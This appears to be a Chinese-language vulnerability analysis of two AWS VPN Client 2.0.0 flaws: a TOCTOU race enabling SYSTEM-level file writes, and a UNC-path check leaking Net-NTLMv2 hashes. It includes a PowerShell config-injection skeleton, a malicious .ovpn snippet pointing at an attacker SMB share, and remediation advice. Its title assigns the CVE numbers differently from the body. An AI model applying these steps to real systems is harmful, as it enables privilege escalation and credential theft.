CVE-2022-25165:AWS VPN 客户端中的 SYSTEM 权限提升
字数 1526 2025-08-27 12:33:43
AWS VPN 客户端权限提升与信息泄露漏洞分析 (CVE-2022-25165/CVE-2022-25166)
漏洞概述
AWS VPN客户端在2.0.0版本中存在两个严重漏洞:
- CVE-2022-25166 - 任意文件写入导致的SYSTEM权限提升漏洞
- CVE-2022-25165 - UNC路径导致的Net-NTLMv2哈希信息泄露漏洞
这些漏洞已在3.0.0版本中修复。
受影响产品
- 供应商: Amazon Web Service (AWS)
- 产品: AWS VPN Client (Windows)
- 受影响版本: 2.0.0
- 修复版本: 3.0.0
漏洞详情
CVE-2022-25166: 任意文件写入导致的权限提升
漏洞原理
- AWS VPN客户端安装了一个以SYSTEM权限运行的Windows服务
- 该服务在验证VPN配置文件时存在TOCTOU(Time-of-Check Time-of-Use)竞争条件
- 攻击者可以在配置文件被检查后、OpenVPN可执行文件处理前注入恶意指令
- 虽然使用了
--script-security 1标志阻止执行外部二进制文件,但可利用log指令重定向日志输出
利用条件
- 攻击者需要低权限账户(如普通用户)
- 需要能够监控日志文件并快速修改配置文件
利用方法
- 使用PowerShell脚本监控日志文件
- 在配置文件验证通过后、OpenVPN处理前快速修改配置文件
- 注入
log指令将输出重定向到特权位置 - 利用SYSTEM权限写入批处理脚本到管理员目录
影响
- 可实现从普通用户到SYSTEM权限的提权
- 可写入任意文件内容
CVE-2022-25165: UNC路径导致的信息泄露
漏洞原理
- 客户端在验证配置文件时会检查指令中的文件路径是否存在
- 检查通过
File.Open()实现 - 当路径为UNC路径(如
\\attacker-server\share\file)时 - 系统会自动尝试认证并发送用户的Net-NTLMv2哈希
受影响指令
接受文件路径的指令包括:
auth-user-passca
利用方法
- 创建包含UNC路径的VPN配置文件
- 当客户端验证文件路径时
- 触发向攻击者控制的服务器发送Net-NTLMv2哈希
影响
- 泄露用户的Net-NTLMv2哈希
- 可能用于NTLM中继攻击或哈希破解
漏洞复现指南
任意文件写入漏洞复现
-
准备环境:
- 安装AWS VPN Client 2.0.0
- 准备一个合法的VPN配置文件
-
编写监控脚本:
# 示例监控脚本框架 $logFile = "path\to\aws\vpn\logs" $configFile = "path\to\vpn\config.ovpn" # 监控日志文件变化 $watcher = New-Object System.IO.FileSystemWatcher $watcher.Path = (Split-Path $logFile) $watcher.Filter = (Split-Path $logFile -Leaf) $watcher.EnableRaisingEvents = $true # 当检测到验证成功的日志时 Register-ObjectEvent $watcher "Changed" -Action { if (Select-String -Path $logFile -Pattern "验证成功") { # 快速注入恶意指令 Add-Content $configFile "log C:\path\to\malicious\file" } } -
导入并连接VPN配置文件
-
观察是否成功写入目标文件
UNC路径信息泄露复现
-
设置攻击服务器:
- 配置SMB服务
- 启动流量捕获工具(如Responder)
-
创建恶意配置文件:
auth-user-pass \\attacker-server\share\creds.txt ca \\attacker-server\share\ca.crt -
在客户端导入该配置文件
-
观察攻击服务器是否捕获到NTLMv2哈希
修复建议
- 立即升级到AWS VPN Client 3.0.0或更高版本
- 对于无法立即升级的系统:
- 限制低权限用户访问VPN配置文件
- 监控异常的文件写入行为
- 禁用不必要的SMB协议
技术细节补充
TOCTOU竞争条件分析
漏洞存在于以下流程:
- 服务验证配置文件(检查阶段)
- 短暂时间窗口
- OpenVPN处理配置文件(使用阶段)
攻击者需要在检查后、使用前修改文件,这通常有几十到几百毫秒的时间窗口。
安全配置建议
即使升级后也应:
- 使用最小权限原则运行服务
- 实施文件完整性监控
- 禁用不必要的OpenVPN指令
- 限制配置文件导入权限
参考资源
- 官方修复公告:[AWS Security Bulletin]
- 漏洞验证脚本:[作者GitHub仓库]
- OpenVPN安全文档:[OpenVPN官方文档]